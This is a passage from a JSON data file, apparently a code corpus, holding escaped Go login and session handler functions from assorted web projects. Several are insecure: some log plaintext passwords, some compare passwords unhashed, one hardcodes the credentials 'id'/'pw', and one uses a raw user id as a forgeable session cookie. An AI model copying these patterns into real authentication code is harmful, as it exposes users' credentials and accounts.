err)\\n\\t\\treturn false\\n\\t}\\n\\tif session.Values[\\\"LoggedIn\\\"] != \\\"yes\\\" {\\n\\t\\treturn false\\n\\t}\\n\\treturn true\\n}\",\n \"func (uh *UserHandler) Login(w http.ResponseWriter, r *http.Request) {\\n\\n\\terrMap := make(map[string]string)\\n\\tuser := uh.Authentication(r)\\n\\tif user != nil {\\n\\t\\thttp.Redirect(w, r, \\\"/Dashboard\\\", http.StatusSeeOther)\\n\\t\\treturn\\n\\t}\\n\\n\\tif r.Method == http.MethodGet {\\n\\t\\tuh.CSRF, _ = stringTools.GenerateRandomBytes(30)\\n\\t\\ttoken, err := stringTools.CSRFToken(uh.CSRF)\\n\\t\\tinputContainer := InputContainer{CSRF: token}\\n\\t\\tif err != nil {\\n\\t\\t\\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tuh.Temp.ExecuteTemplate(w, \\\"LoginPage.html\\\", inputContainer)\\n\\t\\treturn\\n\\t}\\n\\n\\tif r.Method == http.MethodPost {\\n\\t\\temail := r.FormValue(\\\"email\\\")\\n\\t\\tpassword := r.FormValue(\\\"password\\\")\\n\\n\\t\\t// Validating CSRF Token\\n\\t\\tcsrfToken := r.FormValue(\\\"csrf\\\")\\n\\t\\tok, errCRFS := stringTools.ValidCSRF(csrfToken, uh.CSRF)\\n\\t\\tif !ok || errCRFS != nil {\\n\\t\\t\\terrMap[\\\"csrf\\\"] = \\\"Invalid token used!\\\"\\n\\t\\t}\\n\\n\\t\\terr := uh.UService.Login(email, password)\\n\\n\\t\\tif err != nil || len(errMap) > 0 {\\n\\t\\t\\terrMap[\\\"login\\\"] = \\\"Invalid email or password!\\\"\\n\\t\\t\\tuh.CSRF, _ = stringTools.GenerateRandomBytes(30)\\n\\t\\t\\ttoken, _ := stringTools.CSRFToken(uh.CSRF)\\n\\t\\t\\tinputContainer := InputContainer{Error: errMap, CSRF: token}\\n\\t\\t\\tuh.Temp.ExecuteTemplate(w, \\\"LoginPage.html\\\", inputContainer)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tnewSession := uh.configSess()\\n\\t\\tclaims := stringTools.Claims(email, newSession.Expires)\\n\\t\\tsession.Create(claims, newSession, w)\\n\\t\\t_, err = uh.SService.StoreSession(newSession)\\n\\n\\t\\tif err != nil {\\n\\t\\t\\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\thttp.Redirect(w, r, \\\"/Dashboard\\\", http.StatusSeeOther)\\n\\t\\treturn\\n\\t}\\n\\n}\",\n \"func Login(usr, passwd string) (bool, error) {\\n\\t// instantiate http client, but remove\\n\\t// past user sessions to prevent redirection\\n\\tjar, _ := cookiejar.New(nil)\\n\\tc := cfg.Session.Client\\n\\tc.Jar = jar\\n\\n\\tlink, _ := url.Parse(cfg.Settings.Host)\\n\\tlink.Path = path.Join(link.Path, \\\"enter\\\")\\n\\tbody, err := pkg.GetReqBody(&c, link.String())\\n\\tif err != nil {\\n\\t\\treturn false, err\\n\\t}\\n\\n\\t// Hidden form data\\n\\tcsrf := pkg.FindCsrf(body)\\n\\tftaa := \\\"yzo0kk4bhlbaw83g2q\\\"\\n\\tbfaa := \\\"883b704dbe5c70e1e61de4d8aff2da32\\\"\\n\\n\\t// Post form (aka login using creds)\\n\\tbody, err = pkg.PostReqBody(&c, link.String(), url.Values{\\n\\t\\t\\\"csrf_token\\\": {csrf},\\n\\t\\t\\\"action\\\": {\\\"enter\\\"},\\n\\t\\t\\\"ftaa\\\": {ftaa},\\n\\t\\t\\\"bfaa\\\": {bfaa},\\n\\t\\t\\\"handleOrEmail\\\": {usr},\\n\\t\\t\\\"password\\\": {passwd},\\n\\t\\t\\\"_tta\\\": {\\\"176\\\"},\\n\\t\\t\\\"remember\\\": {\\\"on\\\"},\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn false, err\\n\\t}\\n\\n\\tusr = pkg.FindHandle(body)\\n\\tif usr != \\\"\\\" {\\n\\t\\t// create aes 256 encryption and encode as\\n\\t\\t// hex string and save to sessions.json\\n\\t\\tenc, _ := aes.NewAES256Encrypter(usr, nil)\\n\\t\\ted, _ := enc.Encrypt([]byte(passwd))\\n\\t\\tciphertext := hex.EncodeToString(ed)\\n\\t\\t// update sessions data\\n\\t\\tcfg.Session.Cookies = jar\\n\\t\\tcfg.Session.Handle = usr\\n\\t\\tcfg.Session.Passwd = ciphertext\\n\\t\\tcfg.SaveSession()\\n\\t}\\n\\treturn (usr != \\\"\\\"), nil\\n}\",\n \"func (c App) CheckLogin() revel.Result {\\n if _, ok := c.Session[\\\"userName\\\"]; ok {\\n c.Flash.Success(\\\"You are already logged in \\\" + c.Session[\\\"userName\\\"] + \\\"!\\\")\\n return c.Redirect(routes.Todo.Index())\\n }\\n\\n return nil\\n}\",\n \"func Login(c *gin.Context) {\\n\\tsession := sessions.Default(c)\\n\\tusername := c.PostForm(\\\"username\\\")\\n\\tpassword := c.PostForm(\\\"password\\\")\\n\\n\\t// Validate form input\\n\\tif strings.Trim(username, \\\" \\\") == \\\"\\\" || strings.Trim(password, \\\" \\\") == \\\"\\\" {\\n\\t\\tc.JSON(http.StatusBadRequest, gin.H{\\\"error\\\": \\\"Parameters can't be empty\\\"})\\n\\t\\treturn\\n\\t}\\n\\n\\t// Check for username and password match, usually from a database\\n\\tif username != \\\"id\\\" || password != \\\"pw\\\" {\\n\\t\\tc.JSON(http.StatusUnauthorized, gin.H{\\\"error\\\": \\\"Authentication failed\\\"})\\n\\t\\tutil.Error(\\\"Authentication failed\\\")\\n\\t\\treturn\\n\\t}\\n\\t// Save the username in the session\\n\\tsession.Set(userkey, username)\\n\\t// In real world usage you'd set this to the users ID\\n\\tif err := session.Save(); err != nil {\\n\\t\\tutil.Error(\\\"Failed to save session\\\")\\n\\t\\tutil.Error(err.Error())\\n\\t\\treturn\\n\\t}\\n\\tc.JSON(http.StatusOK, gin.H{\\\"message\\\": \\\"Successfully authenticated user\\\"})\\n\\tutil.Info(\\\"Successfully to session\\\")\\n}\",\n \"func login(w http.ResponseWriter, r *http.Request) {\\n\\ttmpl := template.Must(template.ParseFiles(\\\"templates/login.html\\\"))\\n\\tif r.Method != http.MethodPost {\\n\\t\\ttmpl.Execute(w, nil)\\n\\t}\\n\\n\\tdetails := userLogin{\\n\\t\\tUsername: r.FormValue(\\\"username\\\"),\\n\\t\\tPassword: r.FormValue(\\\"psw\\\"),\\n\\t}\\n\\n\\tlog.Println(details)\\n\\t//Attempt login by calling LDAP verify credentials\\n\\tlog.Println(\\\"Username: \\\" + details.Username)\\n\\tlog.Println(\\\"Pass: \\\" + details.Password)\\n\\tauth := verifyCredentials(details.Username, details.Password)\\n\\tlog.Println(auth)\\n\\n\\t//authorize user and create JWT\\n\\tif auth {\\n\\t\\tfmt.Println(\\\"starting auth ...\\\")\\n\\t\\tfor _, cookie := range r.Cookies() {\\n\\t\\t\\tfmt.Print(\\\"Cookie User: \\\")\\n\\t\\t\\tfmt.Println(w, cookie.Name)\\n\\t\\t\\treadJWT(cookie.Name)\\n\\t\\t}\\n\\t\\ttoken := generateJWT(details.Username)\\n\\t\\tsetJwtCookie(token, w, r)\\n\\t\\thttp.Redirect(w, r, \\\"/dashboard\\\", http.StatusSeeOther)\\n\\t}\\n\\n}\",\n \"func UserLoginData(loginResponse http.ResponseWriter, loginRequest *http.Request) {\\n\\n\\t//var userSessioneventID int\\n\\tdb := dbConn()\\n\\tdefer db.Close()\\n\\n\\tif loginRequest.Method != \\\"POST\\\" {\\n\\t\\tlog.Panic(\\\"Form data is not Post\\\")\\n\\t\\thttp.Redirect(loginResponse, loginRequest, \\\"/\\\", http.StatusSeeOther)\\n\\t}\\n\\n\\tcookie, cookieError := loginRequest.Cookie(\\\"login-cookie\\\") // returns cookie or an error\\n\\n\\t// check incoming cookie with db\\n\\n\\tif cookieError != nil {\\n\\t\\tlog.Fatal(\\\"Cookies dont match\\\")\\n\\t} else {\\n\\t\\tlog.Println(\\\"Got cookie : \\\", cookie)\\n\\t\\tuserName := loginRequest.FormValue(\\\"username\\\")\\n\\t\\tpassword := loginRequest.FormValue(\\\"password\\\")\\n\\t\\t//rememberMe := loginRequest.FormValue(\\\"remember_me\\\")\\n\\t\\t//fmt.Println(\\\"Rember me : \\\", rememberMe)\\n\\n\\t\\tuserLogin, eventID := userLoginProcessing(userName, password, cookie.Value)\\n\\n\\t\\tif userLogin {\\n\\t\\t\\t/*\\n\\t\\t\\t\\tPassword matches, insert jwt and details to user_session table.\\n\\t\\t\\t\\tUpdate initial loging table setting used=1 and next event id\\n\\t\\t\\t*/\\n\\t\\t\\tjwt, jwtErr := GenerateJWT(cookie.Value, 30) // for now its 30min session\\n\\n\\t\\t\\tif jwtErr != nil {\\n\\t\\t\\t\\tlog.Println(\\\"Can not generate jwt token\\\", jwtErr)\\n\\t\\t\\t}\\n\\n\\t\\t\\thttp.SetCookie(loginResponse, &http.Cookie{\\n\\t\\t\\t\\tName: \\\"user-cookie\\\",\\n\\t\\t\\t\\tValue: jwt,\\n\\t\\t\\t\\tPath: \\\"/home\\\",\\n\\t\\t\\t})\\n\\n\\t\\t\\t/*\\n\\t\\t\\t\\tInserting user_session and updating initial table\\n\\t\\t\\t*/\\n\\n\\t\\t\\tloginSession, userSessionID := insertToUserSession(userName, jwt)\\n\\n\\t\\t\\tif loginSession != true {\\n\\t\\t\\t\\tlog.Println(\\\"Couldnt insert data to user session table\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\tinitTable := updateInitialLogin(userSessionID, eventID)\\n\\n\\t\\t\\tif initTable {\\n\\t\\t\\t\\thttp.Redirect(loginResponse, loginRequest, \\\"/home\\\", http.StatusSeeOther)\\n\\t\\t\\t}\\n\\n\\t\\t} else { // password checking if-else\\n\\t\\t\\t// This is where I need to modify not to generate new token for login\\n\\t\\t\\thttp.Redirect(loginResponse, loginRequest, \\\"/\\\", http.StatusSeeOther)\\n\\t\\t}\\n\\t} // cookie availble checking if-else\\n\\n}\",\n \"func LoginPage(w http.ResponseWriter, r *http.Request) { \\n tmpl, err := template.ParseFiles(\\\"templates/loginPage.html\\\")\\n if err != nil {\\n fmt.Println(err)\\n }\\n var user helpers.User\\n credentials := userCredentials{\\n EmailId: r.FormValue(\\\"emailId\\\"),\\n Password: r.FormValue(\\\"password\\\"), \\n }\\n\\n login_info := dbquery.GetUserByEmail(credentials.EmailId)\\n user = helpers.User{\\n UserId: login_info.UserId,\\n FirstName: login_info.FirstName,\\n LastName: login_info.LastName, \\n Role: login_info.Role,\\n Email: login_info.Email,\\n \\n }\\n\\n var emailValidation string\\n\\n _userIsValid := CheckPasswordHash(credentials.Password, login_info.Password)\\n\\n if !validation(login_info.Email, credentials.EmailId, login_info.Password, credentials.Password) {\\n emailValidation = \\\"Please enter valid Email ID/Password\\\"\\n }\\n\\n if _userIsValid {\\n setSession(user, w)\\n http.Redirect(w, r, \\\"/dashboard\\\", http.StatusFound)\\n }\\n\\n var welcomeLoginPage string\\n welcomeLoginPage = \\\"Login Page\\\"\\n\\n tmpl.Execute(w, Response{WelcomeMessage: welcomeLoginPage, ValidateMessage: emailValidation}) \\n \\n}\",\n \"func (bap *BaseAuthProvider) Login(ctx *RequestCtx) (user User, reason error) {\\n\\t// try to verify credential\\n\\targs := ctx.Args\\n\\tusername := B2S(args.Peek(\\\"username\\\"))\\n\\tpassword := B2S(args.Peek(\\\"password\\\"))\\n\\tif len(username) == 0 && len(password) == 0 {\\n\\t\\t//recover session from token\\n\\t\\tuser := bap.UserFromRequest(ctx.Ctx)\\n\\t\\tif user != nil {\\n\\t\\t\\treturn user, nil\\n\\t\\t} else {\\n\\t\\t\\tfmt.Println(\\\"#1 errorWrongUsername\\\")\\n\\t\\t\\treturn nil, errorWrongUsername\\n\\t\\t}\\n\\t} else if len(username) > 0 {\\n\\t\\t// retrieve user's master data from db\\n\\t\\t//log.Printf(\\\"Verify password by rich userobj in %T\\\\n\\\", bap.AccountProvider)\\n\\t\\tvar userInDB User\\n\\t\\tuserInDB = bap.AccountProvider.GetUser(username)\\n\\t\\tif userInDB == nil {\\n\\t\\t\\tWriteToCookie(ctx.Ctx, AuthTokenName, \\\"\\\")\\n\\t\\t\\tfmt.Println(\\\"#2 errorWrongUsername\\\")\\n\\t\\t\\treturn nil, errorWrongUsername\\n\\t\\t} else {\\n\\t\\t\\tif userInDB.Disabled() {\\n\\t\\t\\t\\treturn nil, errorUserDisabled\\n\\t\\t\\t} else if !userInDB.Activated() {\\n\\t\\t\\t\\treturn nil, errorUserInactivated\\n\\t\\t\\t}\\n\\t\\t\\tif ok := bap.FuCheckPassword(userInDB, password); ok {\\n\\t\\t\\t\\tuserInDB.SetToken(DefaultTokenGenerator(userInDB.Username()))\\n\\t\\t\\t\\t(*bap.Mutex).Lock()\\n\\t\\t\\t\\tuserInDB.Touch()\\n\\t\\t\\t\\tbap.TokenCache[userInDB.Token()] = userInDB\\n\\t\\t\\t\\tbap.TokenToUsername.SetString(userInDB.Token(), []byte(userInDB.Username()))\\n\\t\\t\\t\\t(*bap.Mutex).Unlock()\\n\\n\\t\\t\\t\\tWriteToCookie(ctx.Ctx, AuthTokenName, userInDB.Token())\\n\\t\\t\\t\\treturn userInDB, nil\\n\\t\\t\\t}\\n\\t\\t\\tWriteToCookie(ctx.Ctx, AuthTokenName, \\\"\\\")\\n\\t\\t\\treturn nil, errorWrongPassword\\n\\t\\t}\\n\\t}\\n\\tWriteToCookie(ctx.Ctx, AuthTokenName, \\\"\\\")\\n\\tfmt.Println(\\\"#3 errorWrongUsername\\\")\\n\\treturn nil, errorWrongUsername\\n}\",\n \"func Login(rw http.ResponseWriter, request *http.Request) {\\n\\n\\tlog.Println(\\\"call Login\\\")\\n\\n\\t// フォームデータのパース\\n\\terr := request.ParseForm()\\n\\tif err != nil {\\n\\t\\toutputErrorLog(\\\"フォーム パース 失敗\\\", err)\\n\\t}\\n\\n\\t// リクエストデータ取得\\n\\taccount := request.Form.Get(\\\"account\\\")\\n\\tpassword := request.Form.Get(\\\"password\\\")\\n\\tlog.Println(\\\"ユーザ:\\\", account)\\n\\n\\t// ユーザデータ取得しモデルデータに変換\\n\\tdbm := db.ConnDB()\\n\\tuser := new(models.User)\\n\\trow := dbm.QueryRow(\\\"select account, name, password from users where account = ?\\\", account)\\n\\tif err = row.Scan(&user.Name, &user.Account, &user.Password); err != nil {\\n\\t\\toutputErrorLog(\\\"ユーザ データ変換 失敗\\\", err)\\n\\t}\\n\\n\\t// ユーザのパスワード認証\\n\\tif user.Password != password {\\n\\t\\tlog.Println(\\\"ユーザ パスワード照合 失敗\\\")\\n\\t\\thttp.Redirect(rw, request, \\\"/index\\\", http.StatusFound)\\n\\t\\treturn\\n\\t}\\n\\n\\tlog.Println(\\\"認証 成功\\\")\\n\\n\\t// 認証が通ったら、セッション情報をDBに保存\\n\\tsessionID := generateSessionID(account)\\n\\tlog.Println(\\\"生成したセッションID:\\\", sessionID)\\n\\tnow := time.Now()\\n\\tresult, err := dbm.Exec(`INSERT INTO sessions\\n\\t\\t(sessionID, account, expireDate)\\n\\t\\tVALUES\\n\\t\\t(?, ?, ?)\\n\\t\\t`, sessionID, account, now.Add(1*time.Hour))\\n\\tnum, err := result.RowsAffected()\\n\\tif err != nil || num == 0 {\\n\\t\\toutputErrorLog(\\\"セッション データ保存 失敗\\\", err)\\n\\t}\\n\\n\\tlog.Println(\\\"セッション データ保存 成功\\\")\\n\\n\\t// クッキーにセッション情報付与\\n\\tcookie := &http.Cookie{\\n\\t\\tName: sessionIDName,\\n\\t\\tValue: sessionID,\\n\\t}\\n\\thttp.SetCookie(rw, cookie)\\n\\n\\t// HOME画面に遷移\\n\\thttp.Redirect(rw, request, \\\"/home\\\", http.StatusFound)\\n}\",\n \"func LoginPost(ctx echo.Context) error {\\n\\tvar flashMessages = flash.New()\\n\\tf := forms.New(utils.GetLang(ctx))\\n\\tlf, err := f.DecodeLogin(ctx.Request())\\n\\tif err != nil {\\n\\t\\tctx.Redirect(http.StatusFound, \\\"/auth/login\\\")\\n\\t\\treturn nil\\n\\t}\\n\\tif !lf.Valid() {\\n\\t\\tfor k, v := range lf.Ctx() {\\n\\t\\t\\tflashMessages.AddCtx(k, v)\\n\\t\\t}\\n\\t\\tflashMessages.Save(ctx)\\n\\t\\tctx.Redirect(http.StatusFound, \\\"/auth/login\\\")\\n\\t\\treturn nil\\n\\t}\\n\\tvar user *models.User\\n\\tif validate.IsEmail(lf.Name) {\\n\\t\\tuser, err = query.AuthenticateUserByEmail(db.Conn, *lf)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Error(ctx, err)\\n\\n\\t\\t\\t// We want the user to try again, but rather than rendering the form right\\n\\t\\t\\t// away, we redirect him/her to /auth/login route(where the login process with\\n\\t\\t\\t// start aflsesh albeit with a flash message)\\n\\t\\t\\tflashMessages.Err(settings.FlashLoginErr)\\n\\t\\t\\tflashMessages.Save(ctx)\\n\\t\\t\\tctx.Redirect(http.StatusFound, \\\"/auth/login\\\")\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t} else {\\n\\t\\tuser, err = query.AuthenticateUserByName(db.Conn, *lf)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Error(ctx, err)\\n\\n\\t\\t\\t// We want the user to try again, but rather than rendering the form right\\n\\t\\t\\t// away, we redirect him/her to /auth/login route(where the login process with\\n\\t\\t\\t// start aflsesh albeit with a flash message)\\n\\t\\t\\tflashMessages.Err(settings.FlashLoginErr)\\n\\t\\t\\tflashMessages.Save(ctx)\\n\\t\\t\\tctx.Redirect(http.StatusFound, \\\"/auth/login\\\")\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\n\\t// create a session for the user after the validation has passed. The info stored\\n\\t// in the session is the user ID, where as the key is userID.\\n\\tss, err := sessStore.Get(ctx.Request(), settings.App.Session.Name)\\n\\tif err != nil {\\n\\t\\tlog.Error(ctx, err)\\n\\t}\\n\\tss.Values[\\\"userID\\\"] = user.ID\\n\\terr = ss.Save(ctx.Request(), ctx.Response())\\n\\tif err != nil {\\n\\t\\tlog.Error(ctx, err)\\n\\t}\\n\\tperson, err := query.GetPersonByUserID(db.Conn, user.ID)\\n\\tif err != nil {\\n\\t\\tlog.Error(ctx, err)\\n\\t\\tflashMessages.Err(settings.FlashLoginErr)\\n\\t\\tflashMessages.Save(ctx)\\n\\t\\tctx.Redirect(http.StatusFound, \\\"/auth/login\\\")\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// add context data. IsLoged is just a conveniece in template rendering. the User\\n\\t// contains a models.Person object, where the PersonName is already loaded.\\n\\tutils.SetData(ctx, \\\"IsLoged\\\", true)\\n\\tutils.SetData(ctx, \\\"User\\\", person)\\n\\tflashMessages.Success(settings.FlashLoginSuccess)\\n\\tflashMessages.Save(ctx)\\n\\tctx.Redirect(http.StatusFound, \\\"/\\\")\\n\\treturn nil\\n}\",\n \"func Login(r *http.Request) (bool, models.User, error) {\\n\\tusername, password := r.FormValue(\\\"username\\\"), r.FormValue(\\\"password\\\")\\n\\tu, err := models.GetUserByUsername(username)\\n\\tif err != nil && err != models.ErrUsernameTaken {\\n\\t\\treturn false, models.User{}, err\\n\\t}\\n\\t//If we've made it here, we should have a valid user stored in u\\n\\t//Let's check the password\\n\\terr = bcrypt.CompareHashAndPassword([]byte(u.Hash), []byte(password))\\n\\tif err != nil {\\n\\t\\treturn false, models.User{}, ErrInvalidPassword\\n\\t}\\n\\treturn true, u, nil\\n}\",\n \"func (oc *Client) validateSession(loginDetails *creds.LoginDetails) error {\\n\\tlogger.Debug(\\\"validate session func called\\\")\\n\\n\\tif loginDetails == nil {\\n\\t\\tlogger.Debug(\\\"unable to validate the okta session, nil input\\\")\\n\\t\\treturn fmt.Errorf(\\\"unable to validate the okta session, nil input\\\")\\n\\t}\\n\\n\\tsessionCookie := loginDetails.OktaSessionCookie\\n\\n\\toktaURL, err := url.Parse(loginDetails.URL)\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"error building oktaURL\\\")\\n\\t}\\n\\n\\toktaOrgHost := oktaURL.Host\\n\\n\\tsessionReqURL := fmt.Sprintf(\\\"https://%s/api/v1/sessions/me\\\", oktaOrgHost) // This api endpoint returns user details\\n\\tsessionReqBody := new(bytes.Buffer)\\n\\n\\treq, err := http.NewRequest(\\\"GET\\\", sessionReqURL, sessionReqBody)\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"error building new session request\\\")\\n\\t}\\n\\treq.Header.Add(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\treq.Header.Add(\\\"Accept\\\", \\\"application/json\\\")\\n\\treq.Header.Add(\\\"Cookie\\\", fmt.Sprintf(\\\"sid=%s\\\", sessionCookie))\\n\\n\\tres, err := oc.client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"error retrieving session response\\\")\\n\\t}\\n\\n\\tbody, err := io.ReadAll(res.Body)\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"error retrieving body from response\\\")\\n\\t}\\n\\n\\tresp := string(body)\\n\\n\\tif res.StatusCode != 200 {\\n\\t\\tlogger.Debug(\\\"invalid okta session\\\")\\n\\t\\treturn fmt.Errorf(\\\"invalid okta session\\\")\\n\\t} else {\\n\\t\\tsessionResponseStatus := gjson.Get(resp, \\\"status\\\").String()\\n\\t\\tswitch sessionResponseStatus {\\n\\t\\tcase \\\"ACTIVE\\\":\\n\\t\\t\\tlogger.Debug(\\\"okta session established\\\")\\n\\t\\tcase \\\"MFA_REQUIRED\\\":\\n\\t\\t\\t_, err := verifyMfa(oc, oktaOrgHost, loginDetails, resp)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, \\\"error verifying MFA\\\")\\n\\t\\t\\t}\\n\\t\\tcase \\\"MFA_ENROLL\\\":\\n\\t\\t\\t// Not yet fully implemented, so just return the status as the error string...\\n\\t\\t\\treturn fmt.Errorf(\\\"MFA_ENROLL\\\")\\n\\t\\t}\\n\\t}\\n\\n\\tlogger.Debug(\\\"valid okta session\\\")\\n\\treturn nil\\n}\",\n \"func userLoginProcessing(userName string, password string, cookie string) (bool, int) {\\n\\tvar loginUser users\\n\\tvar userInitial userLoginStruct\\n\\n\\tdb := dbConn()\\n\\tdefer db.Close()\\n\\n\\t// login page defined token checking\\n\\tloginTokenCheck := db.QueryRow(\\\"SELECT event_id,used FROM user_initial_login WHERE token=? and used=0\\\", cookie).Scan(&userInitial.eventID, &userInitial.used)\\n\\n\\tif loginTokenCheck != nil {\\n\\t\\tlog.Println(\\\"user_initial_login table read faild\\\") // posible system error or hacking attempt ?\\n\\t\\tlog.Println(loginTokenCheck)\\n\\t\\treturn false, 0\\n\\t}\\n\\n\\t// update initial user details table\\n\\tinitialUpdate, initErr := db.Prepare(\\\"update user_initial_login set used=1 where event_id=?\\\")\\n\\n\\tif initErr != nil {\\n\\t\\tlog.Println(\\\"Couldnt update initial user table\\\")\\n\\t\\treturn false, 0 // we shouldnt compare password\\n\\t}\\n\\n\\t_, updateErr := initialUpdate.Exec(userInitial.eventID)\\n\\n\\tif updateErr != nil {\\n\\t\\tlog.Println(\\\"Couldnt execute initial update\\\")\\n\\n\\t}\\n\\tlog.Printf(\\\"Initial table updated for event id %d : \\\", userInitial.eventID)\\n\\t// end login page token checking\\n\\n\\treadError := db.QueryRow(\\\"SELECT id,password FROM car_booking_users WHERE username=?\\\", userName).Scan(&loginUser.id, &loginUser.password)\\n\\tdefer db.Close()\\n\\tif readError != nil {\\n\\t\\t//http.Redirect(res, req, \\\"/\\\", 301)\\n\\t\\tlog.Println(\\\"data can not be taken\\\")\\n\\n\\t}\\n\\n\\tcomparePassword := bcrypt.CompareHashAndPassword([]byte(loginUser.password), []byte(password))\\n\\n\\t// https://stackoverflow.com/questions/52121168/bcrypt-encryption-different-every-time-with-same-input\\n\\n\\tif comparePassword != nil {\\n\\t\\t/*\\n\\t\\t\\tHere I need to find a way to make sure that initial token is not get created each time wrong username password\\n\\n\\t\\t\\tAlso Need to implement a way to restrict accessing after 5 attempts\\n\\t\\t*/\\n\\t\\tlog.Println(\\\"Wrong user name password\\\")\\n\\t\\treturn false, 0\\n\\t} //else {\\n\\n\\tlog.Println(\\\"Hurray\\\")\\n\\treturn true, userInitial.eventID\\n\\t//}\\n\\n}\",\n \"func Login(w http.ResponseWriter, r *http.Request) {\\r\\n\\tlogin := strings.Trim(r.FormValue(\\\"login\\\"), \\\" \\\")\\r\\n\\tpass := strings.Trim(r.FormValue(\\\"pass\\\"), \\\" \\\")\\r\\n\\tlog.Println(\\\"login: \\\", login, \\\" pass: \\\", pass)\\r\\n\\r\\n\\t// Check params\\r\\n\\tif login == \\\"\\\" || pass == \\\"\\\" {\\r\\n\\t\\twriteResponse(w, \\\"Login and password required\\\\n\\\", http.StatusBadRequest)\\r\\n\\t\\treturn\\r\\n\\t}\\r\\n\\r\\n\\t// Already authorized\\r\\n\\tif savedPass, OK := Auth[login]; OK && savedPass == pass {\\r\\n\\t\\twriteResponse(w, \\\"You are already authorized\\\\n\\\", http.StatusOK)\\r\\n\\t\\treturn\\r\\n\\t} else if OK && savedPass != pass {\\r\\n\\t\\t// it is not neccessary\\r\\n\\t\\twriteResponse(w, \\\"Wrong pass\\\\n\\\", http.StatusBadRequest)\\r\\n\\t\\treturn\\r\\n\\t}\\r\\n\\r\\n\\tuser := model.User{}\\r\\n\\terr := user.Get(login, pass)\\r\\n\\tif err == nil {\\r\\n\\t\\tAuth[login], Work[login] = pass, user.WorkNumber\\r\\n\\t\\twriteResponse(w, \\\"Succesfull authorization\\\\n\\\", http.StatusOK)\\r\\n\\t\\treturn\\r\\n\\t}\\r\\n\\r\\n\\twriteResponse(w, \\\"User with same login not found\\\\n\\\", http.StatusNotFound)\\r\\n}\",\n \"func (h *Handler) Login(w http.ResponseWriter, r *http.Request) {\\n\\tvar d UserLoginRequest\\n\\tif err := json.NewDecoder(r.Body).Decode(&d); err != nil {\\n\\t\\trender.BadRequest(w, r, \\\"invalid json string\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t//Check if email exists\\n\\tuser, err := h.Client.User.\\n\\t\\tQuery().\\n\\t\\tWhere(usr.Email(d.Email)).\\n\\t\\tOnly(r.Context())\\n\\tif err != nil {\\n\\t\\tswitch {\\n\\t\\tcase ent.IsNotFound(err):\\n\\t\\t\\trender.NotFound(w, r, \\\"Email Doesn't exists\\\")\\n\\t\\tcase ent.IsNotSingular(err):\\n\\t\\t\\trender.BadRequest(w, r, \\\"Invalid Email\\\")\\n\\t\\tdefault:\\n\\t\\t\\trender.InternalServerError(w, r, \\\"Server Error\\\")\\n\\t\\t}\\n\\t\\treturn\\n\\t}\\n\\n\\t// Verify the password\\n\\tif user.Password == d.Password {\\n\\t\\tfmt.Println(\\\"User Verified. Log In Successful\\\")\\n\\t\\trender.OK(w, r, user)\\n\\t\\treturn\\n\\t}\\n\\trender.Unauthorized(w, r, \\\"Invalid Email or Password.\\\")\\n}\",\n \"func LoginRoute(res http.ResponseWriter, req *http.Request) {\\n if req.Method == \\\"GET\\\" {\\n res.Write([]byte(`\\n \\n \\n Login \\n \\n \\n

Login

\\n
\\n Username:
\\n
\\n Password:
\\n \\n \\n
\\n \\n \\n `))\\n } else {\\n req.ParseForm()\\n username := req.FormValue(\\\"Username\\\")\\n password := req.FormValue(\\\"Password\\\")\\n\\n uid, err := CheckUser(username, password)\\n if err == nil {\\n\\n session := http.Cookie{\\n Name: \\\"session\\\",\\n Value: strconv.Itoa(uid),\\n\\n //MaxAge: 10 * 60,\\n Secure: false,\\n HttpOnly: true,\\n SameSite: 1,\\n\\n Path: \\\"/\\\",\\n }\\n http.SetCookie(res, &session)\\n Redirect(\\\"/library\\\", res)\\n } else {\\n res.Write([]byte(err.Error()))\\n }\\n }\\n}\",\n \"func (a *App) Login(w http.ResponseWriter, r *http.Request) {\\n\\tvar resp = map[string]interface{}{\\\"status\\\": \\\"success\\\", \\\"message\\\": \\\"logged in\\\"}\\n\\n\\tuser := &models.User{}\\n\\tbody, err := ioutil.ReadAll(r.Body)\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusBadRequest, err)\\n\\t\\treturn\\n\\t}\\n\\n\\terr = json.Unmarshal(body, &user)\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusBadRequest, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tuser.Prepare() // here strip the text of white spaces\\n\\n\\terr = user.Validate(\\\"login\\\") // fields(email, password) are validated\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusBadRequest, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tusr, err := user.GetUser(a.DB)\\n\\tif err != nil {\\n\\t\\tresponses.ERROR(w, http.StatusInternalServerError, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tif usr == nil { // user is not registered\\n\\t\\tresp[\\\"status\\\"] = \\\"failed\\\"\\n\\t\\tresp[\\\"message\\\"] = \\\"Login failed, please signup\\\"\\n\\t\\tresponses.JSON(w, http.StatusBadRequest, resp)\\n\\t\\treturn\\n\\t}\\n\\n\\terr = models.CheckPasswordHash(user.Password, usr.Password)\\n\\tif err != nil {\\n\\t\\tresp[\\\"status\\\"] = \\\"failed\\\"\\n\\t\\tresp[\\\"message\\\"] = \\\"Login failed, please try again\\\"\\n\\t\\tresponses.JSON(w, http.StatusForbidden, resp)\\n\\t\\treturn\\n\\t}\\n\\ttoken, err := utils.EncodeAuthToken(usr.ID)\\n\\tif 